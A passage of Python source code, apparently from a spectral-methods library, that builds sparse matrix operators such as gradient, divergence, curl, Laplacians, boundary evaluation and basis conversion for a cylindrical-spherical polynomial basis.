Nsizes(Lmax+Lpad, Nmax+Npad, truncate=truncate)\n Nin_offsets = np.append(0, np.cumsum(Nin_sizes))\n Nout_offsets = np.append(0, np.cumsum(Nout_sizes))\n\n oprows, opcols, opdata = [], [], []\n if dell < 0:\n ellmin = -dell\n ellmax = Lmax + min(Lpad, -dell)\n else:\n ellmin = 0\n ellmax = Lmax - dell\n for i in range(ellmin, ellmax):\n ellin, ellout = i+dell, i\n Nin, Nout = Nin_sizes[ellin], Nout_sizes[ellout]\n smat = sop(Nin, ellin+alpha+1/2, m+sigma)[:Nout,:]\n mat = sparse.csr_matrix(zop[ellin-max(dell,0)] * smat)\n\n matrows, matcols = mat.nonzero()\n oprows += (Nout_offsets[ellout] + matrows).tolist()\n opcols += (Nin_offsets[ellin] + matcols).tolist()\n opdata += np.asarray(mat[matrows,matcols]).ravel().tolist()\n\n return sparse.csr_matrix((opdata, (oprows, opcols)), shape=(Nout_offsets[-1],Nin_offsets[-1]))\n\n\nclass Codomain():\n \"\"\"\n Codomain object for the action of operators. This object encodes\n the change in vertical degree (dell), radial degree (dn) and hierarchy\n parameter (dalpha) as a result of applying a given operator.\n\n Parameters\n ----------\n dell : int\n Change in maximum vertical degree\n dn : int\n Change in maximum radial degree\n dalpha : int\n Change in hierarchy parameter alpha\n\n \"\"\"\n def __init__(self, dell, dn, dalpha):\n self._arrow = (dell,dn,dalpha)\n\n @property\n def arrow(self):\n return self._arrow\n\n def __getitem__(self, item):\n return self._arrow[item]\n\n def __call__(self,*args):\n return tuple(a+b for a,b in zip(self.arrow, args))\n\n def __repr__(self):\n return str(self)\n\n def __str__(self):\n s = f'(ell->ell+{self[0]},n->n+{self[1]},α->α+{self[2]})'\n return s.replace('+0','').replace('+-','-')\n\n def __eq__(self, other):\n \"\"\"Compare the numerical index α\"\"\"\n return self[2:] == other[2:]\n \n def __add__(self, other):\n if self != other:\n raise TypeError('operators have incompatible codomains.')\n return Codomain(*tuple(max(a,b) for a,b in zip(self[:2],other[:2])), *self[2:])\n\n def __mul__(self, other):\n return Codomain(*tuple(a+b for a,b in zip(self[:],other[:])))\n\n\nclass Operator():\n \"\"\"\n Base class for representing operators on sets of spherinder basis function.\n Calling a derived Operator with parameters (m, Lmax, Nmax, alpha, [sigma])\n builds the operator in sparse matrix form as the left action on a set of \n coefficients.\n\n Parameters\n ----------\n codomain : Codmain\n codomain or list of codomains for the derived operator\n dtype : string or np.dtype\n Data type for the output of operator construction\n internal : string or np.dtype\n Data type for the computation of operators\n normalize : bool\n Flag for triangular truncation\n\n \"\"\"\n def __init__(self, codomain, dtype, internal, truncate, normalize):\n self._codomain = codomain\n\n if (np.zeros(1,dtype=dtype) + np.zeros(1,dtype=internal)).dtype == np.zeros(1,dtype=dtype).dtype:\n # Promote internal to the widest type\n internal = dtype\n self.dtype = dtype\n self.internal = internal\n self.truncate = truncate\n self.normalize = normalize\n\n self.A = Jacobi.operator('A', dtype=internal)\n self.B = Jacobi.operator('B', dtype=internal)\n self.C = Jacobi.operator('C', dtype=internal)\n self.D = Jacobi.operator('D', dtype=internal)\n self.Z = Jacobi.operator('Z', dtype=internal)\n self.Id = Jacobi.operator('Id', dtype=internal)\n\n def __call__(self, *args, **kwargs):\n return self.call(*args, **kwargs)\n\n @property\n def codomain(self):\n return self._codomain\n\n\nclass Boundary(Operator):\n \"\"\"Evaluate a field on the ball boundary\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n Operator.__init__(self, codomain=None, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def codomain(self, m, Lmax, Nmax, alpha, sigma):\n L = Lmax-1\n return (Nmax+L//2, L//2+alpha+1/2, m+sigma), (Nmax+(L-1)//2, (L+1)//2+alpha+1/2, m+sigma)\n\n def call(self, m, Lmax, Nmax, alpha, sigma, separate=False):\n if self.truncate:\n _check_radial_degree(Lmax, Nmax)\n A = self.A\n L = Lmax-1\n\n bc = Jacobi.polynomials(Lmax,alpha,alpha,1.,dtype=self.internal)\n\n nrows = [Nmax, Nmax] if self.truncate else [Nmax+L//2, Nmax+(L-1)//2]\n ncols = num_coeffs(Lmax, Nmax, truncate=self.truncate)\n zeros = lambda shape: sparse.lil_matrix(shape, dtype=self.internal)\n Opeven, Opodd = tuple(zeros((nr,ncols)) for nr in nrows)\n index, nsizes = 0, Nsizes(Lmax, Nmax, truncate=self.truncate)\n for ell in range(Lmax):\n N = nsizes[ell]\n op = bc[ell] * ((A(+1)**((L-ell)//2)) @ (A(-1)**(ell//2)))(N, ell+alpha+1/2, m+sigma)\n mat = [Opeven, Opodd][ell % 2]\n mat[:np.shape(op)[0],index:index+N] = op\n index += N\n\n norm_scale = np.sqrt(2**(2+alpha+1/2)) if self.normalize else 1.\n Opeven, Opodd = [(norm_scale * mat).astype(self.dtype) for mat in [Opeven, Opodd]]\n if separate:\n return Opeven, Opodd\n else:\n return sparse.vstack([Opeven,Opodd], format='csr')\n\n\nclass Conversion(Operator):\n \"\"\"Convert up in alpha index. This isn't really a tensor operation since it can\n act independently on components of vectors\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = Codomain(0,0,+1)\n else:\n codomain = Codomain(0,+1,+1)\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha, sigma):\n def make_op(dell, zop, sop, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B = self.A, self.B\n opz = (A(+1) @ B(+1))(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell,alpha+1,alpha+1)\n \n Npad = 0 if self.truncate else 1\n Op1 = make_op(dell=0, zop=opz.diagonal(0), sop=A(+1), Npad=Npad) # (n,a,b) -> (n,a+1,b)\n Op2 = make_op(dell=2, zop=opz.diagonal(2), sop=A(-1), Npad=Npad) # (n,a,b) -> (n+1,a-1,b)\n \n Op = Op1 + Op2\n\n scale = norm_ratio(dalpha=+1, normalize=self.normalize)\n return (scale * Op).astype(self.dtype)\n\n\nclass RadialComponent(Operator):\n \"\"\"Extract the spherical radial part of a velocity field\"\"\" \n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n codomain = [Codomain(0,+1,0), Codomain(0,0,0), Codomain(+1,+1,0)]\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha, exact=False):\n def make_op(dell, zop, sop, sigma, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B, Z, Id = self.A, self.B, self.Z, self.Id\n Lpad, Npad = (1,1) if (not self.truncate or exact) else (0,0)\n\n # Coeff space operator: s * u(+)\n Opp = 1/2 * make_op(dell=0, zop=np.ones(Lmax), sop=B(-1), sigma=+1, Npad=Npad, Lpad=Lpad) # (n,a,b) -> (n+1,a,b-1)\n \n # Coeff space operator: s * u(-)\n Opm = 1/2 * make_op(dell=0, zop=np.ones(Lmax), sop=B(+1), sigma=-1, Npad=Npad, Lpad=Lpad) # (n,a,b) -> (n,a,b+1)\n \n # Coeff space operator: z * w = eta * (1-s**2)**0.5 * w\n opz = Z(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell+1,alpha,alpha)\n Opz1 = make_op(dell=-1, zop=opz.diagonal(-1), sop=A(+1), sigma=0, Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n,a+1,b)\n Opz2 = make_op(dell=+1, zop=opz.diagonal(+1), sop=A(-1), sigma=0, Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n+1,a-1,b)\n\n Opz = 1/np.sqrt(2) * (Opz1 + Opz2)\n Op = _hstack([Opp, Opm, Opz])\n return Op.astype(self.dtype)\n\n\nclass RadialMultiplication(Operator):\n \"\"\"Multiply a scalar field by the spherical radius vector\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n codomain = [Codomain(0,0,0), Codomain(0,+1,0), Codomain(+1,+1,0)] \n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha, exact=False):\n sigma = 0\n def make_op(dell, zop, sop, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B, Z, Id = self.A, self.B, self.Z, self.Id\n Lpad, Npad = (1,1) if (not self.truncate or exact) else (0,0)\n\n # u(+) operator\n Opp = 1/2 * make_op(dell=0, zop=np.ones(Lmax), sop=B(+1)) # (n,a,b) -> (n,a,b+1)\n\n # u(-) operator\n Opm = 1/2 * make_op(dell=0, zop=np.ones(Lmax), sop=B(-1), Npad=Npad) # (n,a,b) -> (n+1,a,b-1)\n\n # u(z) operator\n opz = Z(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell+1,alpha,alpha)\n Opz1 = make_op(dell=-1, zop=opz.diagonal(-1), sop=A(+1), Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n,a+1,b)\n Opz2 = make_op(dell=+1, zop=opz.diagonal(+1), sop=A(-1), Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n+1,a-1,b)\n\n Opz = 1/np.sqrt(2) * (Opz1 + Opz2)\n\n return Opp.astype(self.dtype), Opm.astype(self.dtype), Opz.astype(self.dtype)\n\n\nclass OneMinusRadiusSquared(Operator):\n \"\"\"Multiply a field by (1-r**2)\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n codomain = Codomain(+2,+1,-1)\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha, sigma, exact=False):\n def make_op(dell, zop, sop, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B = self.A, self.B\n Lpad, Npad = (2,1) if (not self.truncate or exact) else (0,0)\n\n opz = (A(-1) @ B(-1))(Lmax,alpha,alpha)\n Op1 = make_op(dell=0, zop=opz.diagonal(0), sop=A(-1), Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n+1,a-1,b)\n Op2 = make_op(dell=-2, zop=opz.diagonal(-2), sop=A(+1), Lpad=Lpad, Npad=Npad) # (n,a,b) -> (n,a+1,b)\n\n Op = 1/2*(Op1 + Op2)\n\n scale = norm_ratio(dalpha=-1, normalize=self.normalize)\n return (scale * Op).astype(self.dtype)\n\n\nclass Gradient(Operator):\n \"\"\"Compute the gradient of a scalar field\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = [Codomain(0,0,+1), Codomain(0,0,+1), Codomain(-1,0,+1)]\n else:\n codomain = [Codomain(0,0,+1), Codomain(0,+1,+1), Codomain(-1,0,+1)]\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha):\n sigma = 0\n def make_op(dell, zop, sop, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B, C, D, Id = self.A, self.B, self.C, self.D, self.Id\n\n op = (A(+1) @ B(+1))(Lmax,alpha,alpha)\n gamma_ell = op.diagonal(0)\n delta_ell = -op.diagonal(2)\n \n # e(+)^* . Grad\n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=D(+1)) # (n,a,b) -> (n-1,a+1,b+1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=C(-1)) # (n,a,b) -> (n,a-1,b+1)\n Opp = Op1 + Op2\n \n # e(-)^* . Grad\n Npad = 0 if self.truncate else 1\n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=C(+1), Npad=Npad) # (n,a,b) -> (n,a+1,b-1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=D(-1), Npad=Npad) # (n,a,b) -> (n+1,a-1,b-1)\n Opm = Op1 + Op2\n\n # e(z)^* . Grad\n Lpad = 0 if self.truncate else -1\n zmat = np.sqrt(2) * D(+1)(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell-1,alpha+1,alpha+1)\n Opz = make_op(dell=1, zop=zmat.diagonal(1), sop=Id, Lpad=Lpad)\n\n scale = norm_ratio(dalpha=+1, normalize=self.normalize)\n return (scale * Opp).astype(self.dtype), \\\n (scale * Opm).astype(self.dtype), \\\n (scale * Opz).astype(self.dtype)\n\n\nclass Divergence(Operator):\n \"\"\"Compute the divergence of a vector field\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = [Codomain(0,0,+1), Codomain(0,0,+1), Codomain(-1,0,+1)]\n else:\n codomain = [Codomain(0,+1,+1), Codomain(0,0,+1), Codomain(-1,0,+1)]\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n \n def call(self, m, Lmax, Nmax, alpha):\n def make_op(dell, zop, sop, sigma, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B, C, D, Id = self.A, self.B, self.C, self.D, self.Id\n Npad = 0 if self.truncate else 1\n\n op = (A(+1) @ B(+1))(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell,alpha+1,alpha+1)\n gamma_ell = op.diagonal(0)\n delta_ell = -op.diagonal(2)\n \n # Div . e(+)^* .\n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=C(+1), sigma=+1, Npad=Npad) # (n,a,b) -> (n,a+1,b-1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=D(-1), sigma=+1, Npad=Npad) # (n,a,b) -> (n+1,a-1,b-1)\n Opp = Op1 + Op2\n\n # Div . e(-)^* . \n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=D(+1), sigma=-1, Npad=Npad) # (n,a,b) -> (n-1,a+1,b+1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=C(-1), sigma=-1, Npad=Npad) # (n,a,b) -> (n,a-1,b+1)\n Opm = Op1 + Op2\n \n # Div . e(z)^* .\n zmat = np.sqrt(2) * D(+1)(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell-1,alpha+1,alpha+1)\n Opz = make_op(dell=1, zop=zmat.diagonal(1), sop=Id, sigma=0, Npad=Npad)\n \n Op = _hstack([Opp, Opm, Opz])\n\n scale = norm_ratio(dalpha=+1, normalize=self.normalize)\n return (scale * Op).astype(self.dtype)\n\n\nclass Curl(Operator):\n \"\"\"Compute the divergence of a vector field\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = [Codomain(0,0,+1), Codomain(0,0,+1), Codomain(0,0,+1)]\n else:\n codomain = [Codomain(0,0,+1), Codomain(0,+1,+1), Codomain(0,+1,+1)]\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n \n def call(self, m, Lmax, Nmax, alpha):\n def make_op(dell, zop, sop, sigma, Lpad=0, Npad=0):\n return _make_operator(dell=dell, zop=zop, sop=sop, m=m, Lmax=Lmax, Nmax=Nmax, alpha=alpha, sigma=sigma, Lpad=Lpad, Npad=Npad, truncate=self.truncate)\n\n A, B, C, D, Id = self.A, self.B, self.C, self.D, self.Id\n Lpad, Npad = (0,0) if self.truncate else (1,1)\n\n op = (A(+1) @ B(+1))(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell,alpha+1,alpha+1)\n gamma_ell = op.diagonal(0)\n delta_ell = -op.diagonal(2)\n\n # e(+)^* . Curl\n zmat = np.sqrt(2) * D(+1)(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell-1,alpha+1,alpha+1)\n Opp_p = make_op(dell=1, zop=zmat.diagonal(1), sop=Id, sigma=+1)\n\n Op1 = make_op(dell=0, zop=-2*gamma_ell, sop=D(+1), sigma=0) # (n,a,b) -> (n-1,a+1,b+1)\n Op2 = make_op(dell=2, zop=-2*delta_ell, sop=C(-1), sigma=0) # (n,a,b) -> (n,a-1,b+1)\n Opp_z = Op1 + Op2\n\n # e(-)^* . Curl\n zmat = -np.sqrt(2) * D(+1)(Lmax,alpha,alpha) # (ell,alpha,alpha) -> (ell-1,alpha+1,alpha+1)\n Opm_m = make_op(dell=1, zop=zmat.diagonal(1), sop=Id, sigma=-1, Npad=Npad)\n\n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=C(+1), sigma=0, Npad=Npad) # (n,a,b) -> (n,a+1,b-1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=D(-1), sigma=0, Npad=Npad) # (n,a,b) -> (n+1,a-1,b-1)\n Opm_z = Op1 + Op2\n\n # e(z)^* . Curl\n Op1 = make_op(dell=0, zop=-2*gamma_ell, sop=C(+1), sigma=+1, Npad=Npad) # (n,a,b) -> (n,a+1,b-1)\n Op2 = make_op(dell=2, zop=-2*delta_ell, sop=D(-1), sigma=+1, Npad=Npad) # (n,a,b) -> (n+1,a-1,b-1)\n Opz_p = Op1 + Op2\n\n Op1 = make_op(dell=0, zop=2*gamma_ell, sop=D(+1), sigma=-1, Npad=Npad) # (n,a,b) -> (n-1,a+1,b+1)\n Op2 = make_op(dell=2, zop=2*delta_ell, sop=C(-1), sigma=-1, Npad=Npad) # (n,a,b) -> (n,a-1,b+1)\n Opz_m = Op1 + Op2\n\n Zp, Zm, Zz = 0*Opp_p, 0*Opm_m, 0*Opz_p\n\n scale = norm_ratio(dalpha=+1, normalize=self.normalize)\n return 1j*((scale * _hstack([Opp_p, Zp, Opp_z])).astype(self.dtype)), \\\n 1j*((scale * _hstack([Zm, Opm_m, Opm_z])).astype(self.dtype)), \\\n 1j*((scale * _hstack([Opz_p, Opz_m, Zz])).astype(self.dtype))\n\n\nclass ScalarLaplacian(Operator):\n \"\"\"Compute the laplacian of a scalar field\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = Codomain(0,0,+2)\n else:\n codomain = Codomain(0,+1,+2)\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha):\n kwargs = {'dtype':self.internal, 'internal':self.internal, 'truncate':self.truncate, 'normalize':self.normalize}\n divergence, gradient = Divergence(**kwargs), Gradient(**kwargs)\n\n if self.truncate:\n gradp, gradm, gradz = gradient(m, Lmax, Nmax, alpha)\n grad = sparse.vstack([gradp,gradm,gradz])\n div = divergence(m, Lmax, Nmax, alpha+1)\n dg = div @ grad\n else:\n gradp, gradm, gradz = gradient(m, Lmax, Nmax, alpha)\n gradp = resize(gradp, Lmax, Nmax, Lmax, Nmax+1, truncate=False)\n gradz = resize(gradz, Lmax-1, Nmax, Lmax, Nmax+1, truncate=False)\n grad = sparse.vstack([gradp,gradm,gradz])\n div = divergence(m, Lmax, Nmax+1, alpha+1)\n dg = div @ grad\n dg = resize(dg, Lmax, Nmax+2, Lmax, Nmax+1, truncate=False)\n return dg.astype(self.dtype)\n\n\nclass VectorLaplacian(Operator):\n \"\"\"Compute the laplacian of a vector field\"\"\"\n def __init__(self, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n if truncate:\n codomain = [Codomain(0,0,+2), Codomain(0,0,+2), Codomain(0,0,+2)]\n else:\n codomain = [Codomain(0,+1,+2), Codomain(0,+1,+2), Codomain(0,+1,+2)]\n Operator.__init__(self, codomain=codomain, dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n def call(self, m, Lmax, Nmax, alpha):\n kwargs = {'dtype':self.internal, 'internal':self.internal, 'truncate':self.truncate, 'normalize':self.normalize}\n divergence, gradient, curl = Divergence(**kwargs), Gradient(**kwargs), Curl(**kwargs)\n\n if self.truncate:\n # Curl(Curl)\n curlp1, curlm1, curlz1 = curl(m, Lmax, Nmax, alpha)\n curlp2, curlm2, curlz2 = curl(m, Lmax, Nmax, alpha+1)\n\n # Grad(Div)\n div = divergence(m, Lmax, Nmax, alpha)\n gradp, gradm, gradz = gradient(m, Lmax, Nmax, alpha+1)\n\n else:\n # Curl(Curl)\n curlp1, curlm1, curlz1 = curl(m, Lmax, Nmax, alpha)\n curlp1 = resize(curlp1, Lmax, Nmax, Lmax, Nmax+1, truncate=False)\n curlp2, curlm2, curlz2 = curl(m, Lmax, Nmax+1, alpha+1)\n curlp2 = resize(curlp2, Lmax, Nmax+1, Lmax, Nmax+2, truncate=False)\n\n # Grad(Div)\n div = divergence(m, Lmax, Nmax, alpha)\n gradp, gradm, gradz = gradient(m, Lmax, Nmax+1, alpha+1)\n gradp = resize(gradp, Lmax, Nmax+1, Lmax, Nmax+2, truncate=False)\n gradz = resize(gradz, Lmax-1, Nmax+1, Lmax, Nmax+2, truncate=False)\n\n # Stack the operators\n curl1 = sparse.vstack([curlp1,curlm1,curlz1])\n curl2 = sparse.vstack([curlp2,curlm2,curlz2])\n grad = sparse.vstack([gradp,gradm,gradz])\n\n # Vector Laplacian\n cc = (curl2 @ curl1).real\n gd = grad @ div\n op = gd - cc\n\n # Prune entries near zero\n rows, cols, _ = sparse.find(abs(op) >= 1e-12)\n values = [op[r,c] for r,c in zip(rows, cols)]\n op = sparse.csr_matrix((values,(rows,cols)), shape=np.shape(op)).astype(self.dtype)\n\n # Extract sub-operators\n nin = num_coeffs(Lmax, Nmax, truncate=self.truncate)\n nout = num_coeffs(Lmax, Nmax+(0 if self.truncate else 2), truncate=self.truncate)\n Opp, Opm, Opz = op[:nout,:nin], op[nout:2*nout,nin:2*nin], op[2*nout:,2*nin:]\n\n if not self.truncate:\n Opp = resize(Opp, Lmax, Nmax+2, Lmax, Nmax+1, truncate=False)\n Opm = resize(Opm, Lmax, Nmax+2, Lmax, Nmax+1, truncate=False)\n Opz = resize(Opz, Lmax, Nmax+2, Lmax, Nmax+1, truncate=False)\n\n return Opp, Opm, Opz\n\n\ndef operator(name, field=None, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize):\n \"\"\"\n Construct an operator of the given name. This is the standard method for\n constructing derived Operator objects.\n\n Parameters\n ----------\n name : str\n String name of the derived Operator.\n One of ['gradient', 'divergence', 'curl', 'laplacian', 'rtimes', '1-r**2', 'boundary', 'conversion']\n field : str\n Ignored unless constructed the Laplacian operator. In this case field\n should be one of ['scalar', 'vector'] to dispatch the appropriate operator\n dtype : np.dtype or str, optional\n Data type for the output of operator construction\n internal : np.dtype or str, optional\n Internal data type for computation\n truncate : bool, optional\n Flag to indicate using the triangular truncated expansion\n normalize : bool, optional\n Flag to indicate whether to normalize the basis functions with the s-to-t conversion\n\n Returns\n -------\n operator : Operator\n Derived Operator object that builds the matrix operator when called\n \"\"\"\n dispatch = lambda klass: klass(dtype=dtype, internal=internal, truncate=truncate, normalize=normalize)\n\n if name in ['divergence', 'div']:\n return dispatch(Divergence)\n if name in ['gradient', 'grad']:\n return dispatch(Gradient)\n if name == 'curl':\n return dispatch(Curl)\n if name in ['laplacian', 'lap']:\n if field in ['vector', 'vec']:\n op = dispatch(VectorLaplacian)\n else:\n op = dispatch(ScalarLaplacian)\n return op\n if name == 'rtimes':\n return dispatch(RadialMultiplication)\n if name == '1-r**2':\n return dispatch(OneMinusRadiusSquared)\n if name == 'rdot':\n return dispatch(RadialComponent)\n if name in ['boundary', 'r=1']:\n return dispatch(Boundary)\n if name == 'conversion':\n return dispatch(Conversion)\n\n raise ValueError('Unknown operator')\n\n\ndef convert_alpha(ntimes, m, Lmax, Nmax, alpha, sigma, dtype='float64', internal=internal_dtype, truncate=default_truncate, normalize=default_normalize, exact=True):\n \"\"\"\n Construct the matrix operator converting basis functions form alpha to alpha+ntimes.\n\n Parameters\n ----------\n ntimes : integer\n Number of times to increment the alpha index\n m : integer\n Azimuthal mode number m\n Lmax, Nmax : integer\n Maximum vertical and radial polynomial degrees, respectively\n alpha : float\n Hierarchy parameter for basis functions. Must be larger than -1\n sigma : integer, {-1,0,+1}\n Spin weight for the basis functions\n dtype : np.dtype or str, optional\n Data type for the output of operator construction\n internal : np.dtype or str, optional\n Internal data type for computation\n truncate : bool, optional\n Flag to indicate using the triangular truncated expansion\n normalize : bool, optional\n Flag to indicate whether to normalize the basis functions with the s-to-t conversion\n exact : bool, optional\n Flag for exact conversion. Only used when truncate is False, otherwise alpha\n conversion is always exact\n\n Returns\n -------\n operator : sparse.csr_matrix\n Sparse matrix for alpha conversion\n \"\"\"\n ntimes = int(ntimes)\n Conv = operator('conversion', dtype=internal, internal=internal, truncate=truncate, normalize=normalize)\n\n ncoeffs = sum(Nsizes(Lmax, Nmax, truncate=truncate))\n op = sparse.eye(ncoeffs, format='csr', dtype=internal)\n for i in range(ntimes):\n op1 = Conv(m, Lmax, Nmax+(0 if truncate else i), alpha=alpha+i, sigma=sigma)\n op = op1 @ op\n if not truncate:\n Ntrunc = Nmax+1 if exact else Nmax\n op = resize(op, Lmax, Nmax+ntimes, Lmax, Ntrunc, truncate=False)\n return op.astype(dtype)\n \n\ndef tau_projection(m, Lmax, Nmax, alpha, sigma, alpha_bc, shift=0, dtype='float64', internal=internal_dtype, truncate=default_truncate):\n \"\"\"\n Create the tau projection matrix. Converts the tau polynomial expressed in the alpha_bc basis\n to the alpha basis.\n\n Parameters\n ----------\n m : integer\n Azimuthal mode number m\n Lmax, Nmax : integer\n Maximum vertical and radial polynomial degrees, respectively\n alpha : float\n Hierarchy parameter for output space\n sigma : integer, {-1,0,+1}\n Spin weight for the basis functions\n alpha_bc : float\n Hierarchy parameter for input space\n shift : integer\n Number of additional highest modes for projection\n dtype : np.dtype or str, optional\n Data type for the output of operator construction\n internal : np.dtype or str, optional\n Internal data type for computation\n truncate : bool, optional\n Flag to indicate using the triangular truncated expansion\n\n Returns\n -------\n projection : scipy.sparse matrix\n Sparse matrix containing tua projection columns\n \"\"\"\n Conv = convert_alpha(alpha-alpha_bc, m, Lmax, Nmax, alpha=alpha_bc, sigma=sigma, dtype=dtype, internal=internal, truncate=truncate)\n lengths, offsets = coeff_sizes(Lmax, Nmax, truncate=truncate)\n indices = offsets+lengths-1\n col1 = sparse.hstack([Conv[:,indices[ell]-shift:indices[ell]+1] for ell in range(Lmax-2*(1+shift))])\n col2 = Conv[:,offsets[-2*(1+shift)]:]\n return sparse.hstack([col1, col2])\n\n\ndef resize(mat, Lin, Nin, Lout, Nout, truncate=default_truncate):\n \"\"\"\n Reshape the matrix from codomain size (Lin,Nin) to size (Lout,Nout).\n This appends and deletes rows as necessary without touching the columns.\n Nin and Nout are functions of ell and return the number of radial coefficients\n for each vertical degree\n\n Parameters\n ----------\n mat : scipy.sparse matrix\n Sparse matrix with coefficient size (Lin,Nin)\n Lin, Nin : integer\n Maximum vertical and radial input polynomial degrees, respectively\n Lout, Nout : integer\n Maximum vertical and radial output polynomial degrees, respectively\n truncate : bool, optional\n Flag to indicate using the triangular truncated expansion\n\n Returns\n -------\n resized_matrix : scipy.sparse matrix\n Input matrix resized to coefficient size (Lout, Nout)\n \"\"\"\n if np.isscalar(Nin):\n Nin = Nsizes(Lin, Nin, truncate=truncate, functor=True)\n nintotal = sum([Nin(ell) for ell in range(Lin)])\n\n if np.isscalar(Nout):\n Nout = Nsizes(Lout, Nout, truncate=truncate, functor=True)\n nouttotal = sum([Nout(ell) for ell in range(Lout)])\n\n # Check if all sizes match. If so, just return the input matrix\n if Lin == Lout and all([Nin(ell) == Nout(ell) for ell in range(Lin)]):\n return mat\n\n # Check the number of rows matches the input (Lin, Nin) dimensions\n nrows, ncols = np.shape(mat)\n if not nintotal == nrows:\n raise ValueError('Incorrect size')\n\n # Extract the nonzero entries of the input matrix\n if not isinstance(mat, sparse.csr_matrix):\n mat = mat.tocsr()\n rows, cols = mat.nonzero()\n\n # If we have the zero matrix just return a zero matrix\n if len(rows) == 0:\n return sparse.lil_matrix((nouttotal, ncols))\n\n # Build up the resized operator\n oprows, opcols, opdata = [], [], []\n L = min(Lin,Lout)\n inoffset, dn = 0, 0\n for ell in range(L):\n nin, nout = Nin(ell), Nout(ell)\n n = min(nin,nout)\n\n indices = np.where(np.logical_and(inoffset <= rows, rows < inoffset+n))\n if len(indices[0]) != 0:\n r, c = rows[indices], cols[indices]\n oprows += (r+dn).tolist()\n opcols += c.tolist()\n opdata += np.asarray(mat[r,c]).ravel().tolist()\n\n dn += nout-nin\n inoffset += nin\n\n result = sparse.csr_matrix((opdata,(oprows,opcols)), shape=(nouttotal,ncols), dtype=mat.dtype)\n\n return result\n\n\ndef remove_zero_rows(mat):\n \"\"\"\n Chuck any identically-zero rows from the matrix\n\n Parameters\n ----------\n mat : scipy.sparse matrix\n Sparse matrix\n\n Returns\n -------\n nonzero_matrix : scipy.sparse.csr_matrix\n Copy 